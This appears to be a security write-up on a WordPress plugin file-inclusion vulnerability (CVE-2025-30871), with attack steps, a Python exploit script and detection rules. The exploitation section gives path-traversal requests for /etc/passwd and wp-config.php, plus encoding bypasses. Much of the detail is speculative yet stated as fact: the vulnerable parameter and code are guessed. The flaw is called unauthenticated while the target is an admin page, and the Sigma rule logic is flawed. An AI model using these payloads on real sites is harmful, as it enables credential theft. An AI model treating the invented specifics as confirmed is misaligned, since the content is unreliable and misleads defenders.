CVE-2025-30871

Executive Summary

CVE-2025-30871 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WP Travel Engine WordPress plugin, affecting versions up to and including 6.3.5. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities.

The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). With a CVSS score of 7.5 (High), it poses a significant risk to WordPress sites running the vulnerable plugin. No public exploit code or proof-of-concept is currently available, but the attack vector is well-understood and can be weaponized by threat actors.

Supply Chain & Package Security

This vulnerability affects the WP Travel Engine WordPress plugin, which is distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, the plugin is installed directly by site administrators. The supply chain risk is elevated because:

• The plugin is widely used for travel booking functionality.
• No official patch has been released as of this analysis.
• Site owners relying on automatic updates may remain exposed until a fix is published.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5 (High)

Threat Level: High. The vulnerability allows unauthenticated file disclosure, which can lead to credential theft and lateral movement within the WordPress ecosystem.

Deep Dive & Mechanics

The vulnerability exists in the WP Travel Engine plugin's PHP code where user-supplied input is used to construct a file path for inclusion via include() or require(). The plugin likely uses a parameter (e.g., page, tab, or action) to load template files or configuration scripts. Without proper sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Attack Flow:

1. The attacker identifies a vulnerable endpoint in the plugin (e.g., /wp-admin/admin.php?page=wp-travel-engine-settings&tab=../../../../etc/passwd%00).
2. The plugin processes the tab parameter and passes it to an include() function.
3. Due to improper input validation, the path traversal sequence resolves to /etc/passwd.
4. The file content is included and displayed in the HTTP response, revealing sensitive data.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server-level issue. The attack targets the plugin's PHP code, which runs within the WordPress application context. The vulnerability is independent of the web server (Apache/Nginx) and is solely due to insecure coding practices in the plugin.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.3.5):

// Example vulnerable pattern
$tab = $_GET['tab'];
include( WP_TRAVEL_ENGINE_PATH . 'includes/admin/views/' . $tab . '.php' );

Patched Code (Hypothetical):

// Secure implementation
$allowed_tabs = array('general', 'payment', 'email');
$tab = sanitize_key( $_GET['tab'] );
if ( in_array( $tab, $allowed_tabs ) ) {
    include( WP_TRAVEL_ENGINE_PATH . 'includes/admin/views/' . $tab . '.php' );
} else {
    wp_die( 'Invalid tab.' );
}

The patched version uses a whitelist approach, validates the input against allowed values, and sanitizes the parameter to prevent path traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with WP Travel Engine <= 6.3.5
• Network access to the site

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., tab, page, file).
2. Craft a payload with path traversal to read sensitive files:

   GET /wp-admin/admin.php?page=wp-travel-engine-settings&tab=../../../../etc/passwd%00
   

3. If null byte injection is blocked, use double encoding or other bypasses:

   GET /wp-admin/admin.php?page=wp-travel-engine-settings&tab=..%252f..%252f..%252f..%252fetc/passwd
   

4. Read wp-config.php for database credentials:

   GET /wp-admin/admin.php?page=wp-travel-engine-settings&tab=../../../../wp-config.php
   

Exploit Code (Python):

import requests

target = "http://target-site.com/wp-admin/admin.php"
params = {
    "page": "wp-travel-engine-settings",
    "tab": "../../../../etc/passwd%00"
}
response = requests.get(target, params=params)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for path traversal patterns in query strings:

   grep -E '\.\./|%2e%2e%2f|%252e%252e%252f' /var/log/apache2/access.log
   

2. Check for unexpected file inclusion attempts in WordPress admin pages.
3. Review plugin file for insecure include()/require() calls.

Honeypot Setup:

• Deploy a fake wp-config.php with decoy credentials to detect LFI attempts.
• Use ModSecurity with OWASP CRS to block path traversal payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or encoded variants in query parameters
• Requests to /wp-admin/admin.php with unusual tab or page values
• Outbound connections from the web server to attacker-controlled IPs (if RCE achieved)

File System IOCs:

• Unexpected inclusion of /etc/passwd, /etc/shadow, or wp-config.php in HTTP responses
• Modified plugin files (if attacker uploads a webshell)

Log IOCs:

• Apache/Nginx access logs showing path traversal patterns
• PHP error logs with warnings about failed includes

Detection Engineering

YARA Rule

rule CVE_2025_30871_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting WP Travel Engine plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-30871"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%252e%252e%252f/
        $wp_travel_engine = "wp-travel-engine" nocase
        $admin_page = "admin.php" nocase
    condition:
        $wp_travel_engine and $admin_page and $path_traversal
}

Sigma Rule

title: CVE-2025-30871 WP Travel Engine LFI Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects path traversal attempts against WP Travel Engine plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'wp-travel-engine'
            - 'admin.php'
        cs-uri-query|contains|all:
            - '../'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in plugin
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-30871 WP Travel Engine LFI Attempt";
    flow:to_server,established;
    content:"wp-travel-engine"; http_uri;
    content:"admin.php"; http_uri;
    pcre:"/(\.\.\/|%2e%2e%2f|%252e%252e%252f)/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-30871;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be 600).

Long-term Fix:

• Apply the official patch from WP Travel Engine once released.
• Replace the vulnerable plugin with an alternative if no patch is forthcoming.
• Conduct a code audit of all WordPress plugins for similar LFI vulnerabilities.

Workaround:

• Add the following to .htaccess to block LFI attempts:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f) [NC]
  RewriteRule ^wp-admin/admin.php - [F,L]
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert